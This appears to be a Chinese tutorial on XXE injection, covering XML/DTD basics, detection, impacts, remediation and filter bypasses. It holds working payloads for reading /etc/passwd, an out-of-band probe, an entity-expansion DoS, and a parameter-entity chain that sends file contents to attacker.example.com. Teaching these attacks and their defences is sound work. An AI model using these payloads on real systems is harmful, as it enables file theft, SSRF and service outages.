漏洞详解--XXE 从入门到精通!

一、漏洞原理

1.1 核心

XXE(XML External Entity injection),名为XML外部实体注入。其核心在于XML解析器默认允许外部实体/DTD,攻击者通过构造特殊的XML使其包含恶意外部实体。外部实体可以为服务器敏感文件,也可以为网络请求等,之后利用方式类似于文件包含和SSRF,有时甚至可以间接RCE(少见)。

1.2 原理详解

想彻底了解XXE,需要知道XML和DTD。

1.2.1 XML介绍

XML详细学习地址:https://www.runoob.com/xml/xml-tutorial.html

XML结构类似于HTML,都主要由元素(标签)和属性组成。XML推荐使用元素(标签)而非属性来传递信息。XML需要在开头有一个声明,然后有一个根元素涵盖其他元素。如下例

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>             <!--xml声明-->
<note>                                             <!--根元素-->
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

上述第一句为声明,note为根元素,其他的to,from,heading,body为其他元素,可以用来传递信息。元素和元素中的内容可以类比于JSON中的键值对。

1.2.2 DTD介绍

DTD详细学习地址:https://www.runoob.com/dtd/dtd-tutorial.html

DTD是XXE漏洞不可或缺的部分。DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。我们主要用到的DTD的实体。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体分为内部实体和外部实体,分别类似于SSRF的本地/远程文件包含。一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号。通过引入外部实体,我们就可以达到读取敏感信息乃至RCE。
实体声明:

xml 复制代码
<!ENTITY entity-name "entity-value">         <!--内部实体声明-->
<!ENTITY entity-name SYSTEM "URI/URL">       <!--外部实体声明-->

例子:

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>             <!--xml声明-->
<!DOCTYPE author [
  <!ENTITY writer "Donald Duck.">                 <!--内部实体声明-->
  <!ENTITY xxe SYSTEM "file:///D:/1.txt">          <!--外部实体声明-->
]>                            <!--DTD部分-->
<author>&writer;&xxe;</author>          <!--xml部分-->

二、检测与危害

XXE通常发生在后端的XML解析而非浏览器XML解析,由于很多后端可以自动切换对XML和JSON的解析。因此,虽然目前多是以JSON格式作为数据传输的方式,将请求头中的Content-Type改为application/xml后,或者一些老旧的系统,也有一定可能触发XXE。

2.1 检测方法

总体思路:先定位能提交 XML 的输入点 → 验证服务器是否解析 XML → 逐步注入实体(内置/外部/参数化) → 观察回显/DNSlog记录

2.1.1 定位 XML 输入点

(1) 查找 Content-Type:在抓包/代理(Burp/Proxy)中观察请求头是否存在 Content-Type: application/xmltext/xml、或 application/soap+xml

(2) 查找接口类型:SOAP 服务、SAML 参数(SAMLResponse)、文件导入(.xml)、RSS/Sitemap 导入、第三方集成、消息队列(XML 消息)等通常是高优先级;

(3) 前端检查:F12 → Network,查看请求体是否为 XML,或检查提交表单/上传是否接受 XML 文件。

2.1.2 有回显检测

(1) 基本步骤:在确认输入被解析后,先注入简单的内部实体做回显测试。观察HTTP 响应体是否包含 /etc/passwd 内容、异常堆栈或解析错误回显。

(2) 内部实体样例(读取本地文件):

xml 复制代码
<?xml version="1.0"?>
<!DOCTYPE r [ <!ENTITY  xxe SYSTEM "file:///etc/passwd"> ]>
<r>&xxe;</r>

2.1.3 无回显外部实体检测

(1) 思路:把外部实体指向你能控制/监听的域名(常常用DNSLog)。发送XML后查看自己的dnslog有没有记录就可以知道能不能引用外部实体了。

(2) 示例:

xml 复制代码
<?xml version="1.0"?>
<!DOCTYPE r [
  <!ENTITY remote SYSTEM "http://your-collab-id.oast.site/">
]>
<r>&remote;</r>

2.1.4 DoS(一般测试时一定不要用!!)

(1) 示例:

xml 复制代码
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY a "aaaaaaaaaa">
  <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
  <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
  <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
]>
<lolz>&d;</lolz>

2.1.5 协议/解析器差异测试

(1) 测试多种 scheme:file://http://https://ftp://ldap://gopher://(部分解析器支持)。

(2) 不同解析器对 DTD/外部实体的默认策略不同(Java、.NET、libxml、lxml 等),需尝试多种 payload 形式与嵌套方式。

2.1.6 代码审计

(1) 查找 XML 解析相关 API:DocumentBuilderFactorySAXParserFactoryxml.etreelxmllibxml2SimpleXML 等调用;

(2) 检查解析配置:是否启用 DTD/外部实体、是否有禁用 DOCTYPE、是否使用安全库(如 Python 的 defusedxml);

(3) 检查输入来源:是否直接解析用户上传/外部来源的 XML,或是否在未过滤的情况下处理 SAML/SOAP。


2.2 危害

XXE的危害与文件包含漏洞和SSRF相似,具有很多交叉和重叠的地方。具体如下所示。

2.2.1 本地文件读取

  • 说明:通过 file:// 实体读取服务器文件(如 /etc/passwd、私钥 /etc/ssl/*、配置文件、/proc/self/environ 等)。
  • 风险:凭证、配置、私钥泄露可能导致持久化入侵或 RCE(配合其它漏洞)。

2.2.2 实现SSRF

  • 说明:外部实体指向 http://internal:port/... 等,就类似于一个SSRF了,详见https://www.cnblogs.com/L-xy/p/19084683。
  • 风险:发现并利用内部管理接口、横向移动、获取临时凭证或敏感信息。

2.2.3 数据外发

用 HTTP GET 把数据放到 URL(query 或子域)

利用参数实体 / DTD 链把本地文件内容拼接进一个外部实体的 URL,然后解析器访问此 URL(通常是 GET)。攻击者的服务器在访问日志中看到请求并从 URL 或 Host 部分得到信息。下例用到了参数实体。

payload:

xml 复制代码
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % exfil "<!ENTITY send SYSTEM 'http://attacker.example.com/?p=%file;'>">
  %exfil;
]>
<foo>&send;</foo>

解释流程:

%file 被解析为 /etc/passwd 内容(参数实体值)。

%exfil 是一段字符串,定义了一个通用外部实体 send,其 SYSTEM URL 包含 %file 的值。

%exfil; 在 DTD 中展开,定义了 send。

正文 &send; 会触发解析器去请求 http://attacker.example.com/?p=
这样就把文件内容通过 URL query 发给了你控制的域名。

2.2.4 DoS(实体膨胀 / 资源耗尽)

  • 说明:通过嵌套实体或大量实体导致解析器内存/CPU 消耗)。
  • 风险:服务不可用、资源耗尽,影响可用性。

2.2.5 间接 RCE(链式利用)

  • 说明:XXE 本身读取的是文本/资源,若读取的内容被后续当作代码/命令/模板处理(例如写入并 include、传给不安全的模板引擎或反序列化器),可导致远程代码执行。
  • 风险:高危,通常需要系统中存在其他弱点配合(文件写入、不安全的 eval/include 等)。

三、修复与绕过

3.1 禁用DTD--首选

做法(示例)

  • Java: 在 DocumentBuilderFactory / SAXParserFactory 上设置 disallow-doctype-decl=true,并关闭外部实体特性(见下)。
  • .NET: 用 XmlReaderSettingsDtdProcessing = DtdProcessing.Prohibit
  • Python: 使用 defusedxml(如 defusedxml.ElementTree)来解析非受信任 XML。
  • PHP: 避免开启远程包含;用 XMLReader / DOMDocument 时传入 LIBXML_NONET 等选项以禁止网络访问;尽量避免 allow_url_include

绕过手法

  • 攻击者用参数实体 + 远程 DTD%remote;)链式注入,以在 DTD 中插入更多声明,尝试在某些解析器/配置下触发外联。

3.2 使用"安全XML库/API"而不是默认解析器

做法

  • Python 用 defusedxml,Java 显式设置安全特性或使用安全包装器,PHP 用 XMLReader/libxml 的安全选项。

3.3 限制scheme协议(file://, gopher://等)

做法

  • 在应用层过滤或白名单允许的 schemes(只允许 http/https 到特定域)。

绕过手法

  • 攻击者会尝试替代协议(gopher 用于构造任意 TCP payload 包括 POST;ldapftpjarzipdataphp:// 等 wrapper)或利用协议混淆(URL 编码、大小写变种、16进制,IPv6/decimal 表示法等)。

3.4 白名单/黑名单化

做法

  • 对上传的 XML 文件做内容扫描,阻断包含 <!DOCTYPEENTITY 的请求体。

绕过手法

  • 攻击者使用分段/编码/断行 、嵌套远程 DTD、参数实体等技巧隐藏 <!DOCTYPE,或把 payload 放在合法元素里的 CDATA,绕过简单的 blacklist。
  • 利用非标准编码/UTF tricks、实体转义(&lt;!DOCTYPE)然后某些解码流程会还原并触发解析。

四、补充说明

4.1 参数实体

DTD参数实体与通用DTD实体相比,更加的隐蔽,有时候能够达到绕过的目的。


  1. 什么是参数实体(Parameter Entity)

XML DTD(文档类型定义)中,实体(Entity)分为两类:

  • 通用实体(General Entity) :在 XML 文档的内容中使用,例如 &nbsp;
  • 参数实体(Parameter Entity)只能在 DTD 内部使用!!!,主要用于 DTD 结构的复用、组织和简化。

参数实体用 百分号 % 来定义和引用。


  1. 定义参数实体

语法:

dtd 复制代码
<!ENTITY % 实体名 "实体值">

示例:

dtd 复制代码
<!ENTITY % commonAttrs 'id ID #IMPLIED class CDATA #IMPLIED'>

这里 %commonAttrs; 就定义了一组属性声明,可以在其他元素声明中复用。


  1. 引用参数实体

引用方式:

dtd 复制代码
%实体名;

示例:

dtd 复制代码
<!ELEMENT book (title, author, year)>
<!ATTLIST book
    %commonAttrs;
>

等价于:

dtd 复制代码
<!ELEMENT book (title, author, year)>
<!ATTLIST book
    id ID #IMPLIED
    class CDATA #IMPLIED
>

  1. 外部参数实体

参数实体不仅能定义在 DTD 内部,还能引用外部文件,便于模块化。

dtd 复制代码
<!ENTITY % externalDTD SYSTEM "file:///etc/password">
%externalDTD;